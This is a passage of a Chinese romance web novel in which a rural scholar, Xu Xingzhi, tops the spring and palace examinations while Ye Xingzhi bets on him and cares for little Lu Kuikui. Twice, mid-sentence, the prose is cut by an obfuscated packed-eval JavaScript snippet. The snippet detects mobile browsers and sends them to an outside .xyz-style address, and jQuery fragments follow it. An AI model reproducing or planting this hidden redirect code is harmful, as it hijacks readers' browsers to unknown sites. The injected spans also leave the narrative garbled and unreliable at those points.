站在凶宅门口,徐行之提灯看向上元夜里的少女,满月盈盈,花灯灿灿,叶醒枝宛若神妃仙子。 这位叶小姐过新年时带着陆葵葵来给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557913|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送饺子和压祟钱,今夜又为他送来一盏很好看的花灯,夜深寒凉,徐行之的心弦却被拨动。 在山下村时,徐东来和王霞明面上身为他的叔婶,从未给予过他什么关心,县学的那些同窗和他志同道合,但也不会在新年的第一天来到他的家里。 一个人在凶宅里住了半年,徐行之并不害怕,可经过这一年的除夕,他知道自己不畏惧鬼神,却向往有叶醒枝和陆葵葵的陪伴。 徐行之想,以后的每一个上元节,他都很想和叶醒枝以及陆葵葵一起度过。 春心动,院子里三个可爱的雪人化成了一滩清水,二月春闱至。 叶醒枝父亲叶显山闲暇之余,依旧在担心两个女儿的亲事,“大陈朝不流行榜下捉贵婿,但你今年不可再不当回事儿,枝枝,开春后的赏花宴要好好准备。” 去年冬季的那几场赏菊宴和赏梅宴,被叶醒枝以不愿和叶醒秋姐妹不睦为借口躲了过去,整个叶府只有叶醒秋一人参加,但今年她定是躲不过去了! 叶醒枝应了下来,突然想起明日就是春闱,是该带着陆葵葵去徐行之住处走一趟。 照旧是陆葵葵在叽叽喳喳,叶醒枝送上祝福,春闱过后,无论结果如何,她都得把陆葵葵的身份告诉徐行之了。 回程的路上,经过几间赌坊,围了不少男男女女,叶醒枝好奇打听,“阿竹,你去看看赌坊里发生什么事了?” 阿竹很快回来,“小姐,明天就是春闱,赌坊开了盘,不少人在下注呢!” 马车里,叶醒枝轻声道:“葵葵,你知道你爹爹春闱的名次吗?” 过了年已经四岁的陆葵葵不知道春闱是什么,叶醒枝只好又道:“那你爹爹当县令之前,是探花还是二甲及第?” 陆葵葵自然不清楚,对于陆葵葵来说,探花是和樱花、桃花没什么区别的一种花儿,想了想,叶醒枝下来马车,朝赌坊走去。 养陆葵葵不容易,她得多搞银子才行,不如去下一注。 在赌坊里看了一圈,一甲及第的热门人选,没有一个人给徐行之下注。 叶醒枝很是意外,一甲及第难于登天,算上往年,整个大陈朝来长安赶考的解元加起来估计得有二三十个,但徐行之好歹也是一州的解元,怎么会没有人赌徐行之位列一甲呢? 见叶醒枝停了下来,陆葵葵仰着脑袋瓜,“姐姐,这是什么呀?” 叶醒枝道:“这是你哥哥的名字!” “哥哥这里怎么什么都没有啊?”陆葵葵急了,“葵葵的压祟钱给哥哥!” 她的爹爹,陆葵葵来守护! 陆葵葵摇晃着叶醒枝的胳膊,要让叶醒枝拿银子,一旁有书生听到对话,对着叶醒枝道:“这位小姐,你们二位可是徐解元的妹妹?” 来自洛州的徐解元徐行之,到了长安后一点儿消息都没有,靠着这一点被其他学子评为历年来最神秘的解元,没有之一! 29. 心动(二) “不是,我们和徐解元只是相识,公子可是认识他?”叶醒枝微微一笑。 “不认识。”但这个书生眼睛一亮,“这位小姐,您可知徐解元住在何处?是否和传闻中的一样?” “什么传闻?”叶醒枝没听说过。 书生不太好意思直说,不过他迫切想知道徐行之的消息,“各州解元中,只有徐解元来了长安杳无音信,有人去向他同窗打听,他那些同窗也未透露出消息。于是有人猜测徐解元太过内向,恐与人相处,也有人说徐解元或是来了长安后水土不服,身子骨不大好。” 还有更难听的猜测,有人说这位徐解元定是貌丑不敢见人,还有人觉得徐行之才华并不出众,比不上其他解元,所以才不敢露面。 那些爱凑热闹的读书人还去找了徐行之的同窗打听,同窗自然是否认,不过这位同窗和徐行之一样,嘴巴严实。 叶醒枝面露诧异,竟然有这么多离谱的传言吗? 不难猜到这位书生并没有把话说完,叶醒枝笑了笑,只是道:“徐解元身体安康,性情也很是温煦,不常出门只是要温习功课罢了。” 当然,对于徐行之来长安后的一些行为,叶醒枝也有怀疑,纵使徐行之是农家子,可他是洛州的解元,想要给他送豪宅的商人几间房子都站不下,但他却住在了一座凶宅小院里,不惧怕也不避讳。 还有,徐行之嘴上说着要劳逸结合,却比其他举子更低调,连上元节这样热闹的夜晚也不外出。 不过这些异常和叶醒枝没什么关系,她忙着写话本子赚钱,并未因此而试探徐行之。 那位书生恍然,“看来传言不可信啊!” 叶醒枝好奇问道:“有关他的传闻那么多,为何没人给徐解元下注呢?” 书生声音小了点,“徐解元并未露面,在长安的名气比不上其他解元,徐解元虽十岁时就中了秀才,但时隔八年才中举,加之洛州不如江南文风旺盛,徐解元此次一鸣惊人成为洛州解元,或许是徐解元比其他学子要勤奋。” 细眉微扬,叶醒枝明白了,比其他学子勤奋,那就是这些人觉得徐行之不如其他解元有天资呗! 如果她和徐行之并不认识,应当也会有这样的想法,从秀才到举人用了八年时间,又出身农家,确实比不过文风旺盛的世家子弟。 但是,她现在和徐行之蛮熟的,徐行之是否有天资她最是清楚。 叶醒枝直接拿出全部银子下注,包括陆葵葵的压祟钱,押春闱徐行之排名一甲。 学子们点灯苦读一整夜,常挂两个青黑的眼圈,今天从贡院出来的这些学子,要比往日更加憔悴。 二月依旧寒冷,贡院里有好几举子起了高热,多亏徐行之在山下村长大,干过农活,常往老李山上去,还在河清县跟着镖局的师傅学过几招,倒是熬过了春闱这一关。 出来贡院,往和同窗约定好的地方走去,等和同城会面后,徐行之只想赶快回到那座凶宅休息一番。 “徐解元,徐解元!” 听到声音,徐行之抬头。 是阿竹。 徐行之恢复了些精神, “阿竹,你怎么来了?” 阿竹笑着道: “小姐担心您的身体,让我送徐解元回去。” 等上了马车,徐行之一愣,马车上还有一人,是位大夫。 阿竹解释道:“小姐提前请了大夫,徐解元看着和平常一样光风霁月,不过还是让大夫看看吧。” “多谢。”徐行之桃花目里的困意流走,涌出的是清浅的笑意。 六岁那年,他去镇上跟着一位老童生启蒙,如今他十九岁了。十三年的时间里,这是第一次他从贡院出来后有人在等着他。 正如葵花向阳一样,徐行之又岂能忘掉叶醒枝给予他的那些暖意? 参加春闱的举子度日如年等待着结果,叶醒枝每天在府里带陆葵葵、写话本子,还要应付父亲叶显山的催婚,赶在出结果的那天,忙里偷闲,她带着陆葵葵来到了徐行之这里。 见徐行之如此镇定悠闲,叶醒枝好奇地道:“你自己不去就算了,不找个人帮你看一下结果吗?” 徐行之勾了勾唇,“找个乞儿看也是要掏银子的。” 叶醒枝不太相信,“你就一点也不在意?” “当然在意。”徐行之笑了一下,“不如你和葵葵陪我说说话吧?” 行叭,叶醒枝答应了。 有陆葵葵这个灿烂的小葵花在,一时间叶醒枝和徐行之暂时忘记了春闱这件事。 等到敲锣打鼓声响起,叶醒枝和陆葵葵四目相对,怔愣和欢喜从心头涌出。 坊里响起的敲锣打鼓声,是来向徐行之报喜的吗? 叶醒枝突然有些担心,“你住的这是座凶宅,他们会不会找不到地方?” “有可能。”徐行之也想到了这一点。 报喜的人第一时间确实没有找到徐行之的住处,不过坊里有这么多婆子们在,很快,敲锣打鼓声就来了这座凶宅小院门口。 报喜的人说了一长串恭喜的话,一旁的叶醒枝就记住了一句,徐行之是一甲第一! 她下注的那些银子要大赚一笔了! 好不容易送走贺喜的人,叶醒枝牵着陆葵葵的小手过来,又是一番贺喜的话。 陆葵葵大大的眼睛弯了起来,“哥哥,葵葵的压祟钱能拿回来啦!” “什么压祟钱?”徐行之不明白。 叶醒枝解释了一通,“葵葵见不得你受欺负,就让我把她的压祟钱都拿来给你下注。” 空气中的冷意比除夕那夜淡薄许多,有些人都穿上了春衣,但徐行之心头的暖意,比盎然的春意还要浓厚。 没有一个人看好他,叶醒枝和陆葵葵却砸银子给他下注。 望着徐行之眸子里泛起的感激,叶醒枝不大好意思,“我给你下注,一来是为了葵葵,也有其他原因,你这么有才华,我其实也是赌一赌!” “那要是输了呢?”徐行之启唇,还是直直望着叶醒枝。 叶醒枝轻咳一声,“输就输了,大不了节衣缩食一段时间。” 话本子里男主角看人的视线,也就是这样的吧,原来话本子里描述的不全是假的。 不过,徐行之看着她的目光有些怪怪的,叶醒枝转移话题道:“那些银子应该能大赚一笔,你才是大功臣,等拿回来后我分你一半。” “叶小姐留着吧。”担心叶醒枝要拒绝,徐行之又道:“给葵葵买糖葫芦吃。” 他知道陆葵葵爱吃糖葫芦。 陆葵葵清脆笑起来,“哥哥最好啦!” 叶醒枝赶忙道:“那可不能让她吃那么多的糖葫芦!” “好。”徐行之应了一句,很是温柔,“给葵葵买串糖葫芦,剩下的叶小姐留着就是。” 白得一大笔银子,叶醒枝自然高兴,“不愧是徐会元,如今倒是大手笔了!” “我还住在凶宅里,能有什么大手笔,不过是因为,我想将这些银子给叶小姐。”徐行之噙笑,“叶小姐,等忙过这一阵,行之……有件事想要告诉您。” 叶醒枝的脸热了起来,徐行之的这些话,换成其他女子也会脸热吧? 她结巴了一下,“我……也有消息想告诉你。” 还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581411|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关等着徐行之去闯,那就是殿试,不过,殿试之前,徐行之租的那座凶宅起火了。 叶醒枝没敢把这个消息告诉陆葵葵,急忙让阿竹出去打听消息,好在没过多久,阿竹带回来了徐行之。 不过是乔装打扮后的徐行之。 叶醒枝愣了愣,这场火灾有猫腻,但徐行之无碍就好! 和徐行之在后门见面,叶醒枝蹙了蹙眉,“你并不生火做饭,怎么会起火?” “是人为。”徐行之正色道:“叶小姐,我提前找好了落脚地,这几日我会去那里住,等殿试后我会把所有事情都告诉你。” 瞪大眸子望着徐行之,叶醒枝心想,要答应吗? 那些举子都打听不到徐行之的消息,却有人对徐行之放火,说明春闱结果出来后,放火的那人发现了徐行之。 很明显,敢对春闱会元下毒手的,定然不是一般人! 不被卷入其中才是对的,但叶醒枝答应了下来。 能死里逃生,徐行之也不是一般人啊! 嘱咐阿竹不要泄露徐行之的行踪,这几日叶醒枝也带着陆葵葵安心在府里待着,临睡前,她把从去年回山下村到如今发生的事情捋了一遍。 这么说,徐行之在老李山上受伤、被她救下来那一次,也不是意外! 皱起眉头,叶醒枝心想,徐行之到底有什么秘密呢? 直到得到殿试的消息,叶醒枝终于敢放陆葵葵出门了! 徐行之竟然还是殿试第一名! 也就是说,陆葵葵要有个状元爹爹了! 叶醒枝抱起陆葵葵转圈圈,“葵葵,你爹爹是状元啊!” “状元是什么?”陆葵葵眨眨眼睛,“娘亲,爹爹是县令!” “状元,那可比县令还要厉害!”叶醒枝很是高兴,“葵葵,你怎么不知道你爹爹是状元啊!” 陆葵葵:“葵葵没听爹爹和娘亲说过。” 闻言,叶醒枝对徐行之的好感又提升了不少,身为整个大陈朝的状元,也没有对自己的女儿提过,说明徐行之此人高中后并未骄纵自满。 今科状元竟然比探花郎还要清逸,骑马游街时,少女们折的花枝、绣的香囊纷纷飘向徐行之。 叶醒枝也带着陆葵葵去看了热闹,茶馆二楼,陆葵葵不懂这是何意,担心得叫了起来,“别砸我哥哥!” 有人听到她的叫声,急忙低头,“小姑娘,徐状元是你的哥哥?” “对!”陆葵葵抿着小嘴巴。 春闱前,提到徐行之,都是些不好的传言,直到今日,长安的百姓们才知道这位新科状元郎不是传说中的貌丑不敢见人, “那你哥哥喜欢什么样的女子?” “哥哥喜欢姐姐这样哒!”陆葵葵小手指了指叶醒枝。 叶醒枝脸一红,“葵葵,别胡说!” 陆葵葵不明白,声音更大了,“哥哥就是喜欢姐姐啊!” 围过来的女子们大失所望,“原来徐状元有心上人了啊!” 不过,和这位小姐容貌倒是匹配! 打量叶醒枝的视线得有上百道,叶醒枝的脸比春日的海棠还要粉嫩,徐行之可没说过喜欢她,成为状元的第一天,徐行之的清誉就被她和陆葵葵败坏了! 殿试后还有一系列事情等着徐行之,很快到了四月底,徐行之托人给叶醒枝送了封信,两人约好清明节后在茶馆见面。 被所有人恭贺的滋味自然不错,可许久未见叶醒枝和陆葵葵,徐行之心中更多的是思念,而不是高中成为状元的自满。 四月底,徐行之去茶馆赴约,然而等到了天黑,也未见到叶醒枝和陆葵葵。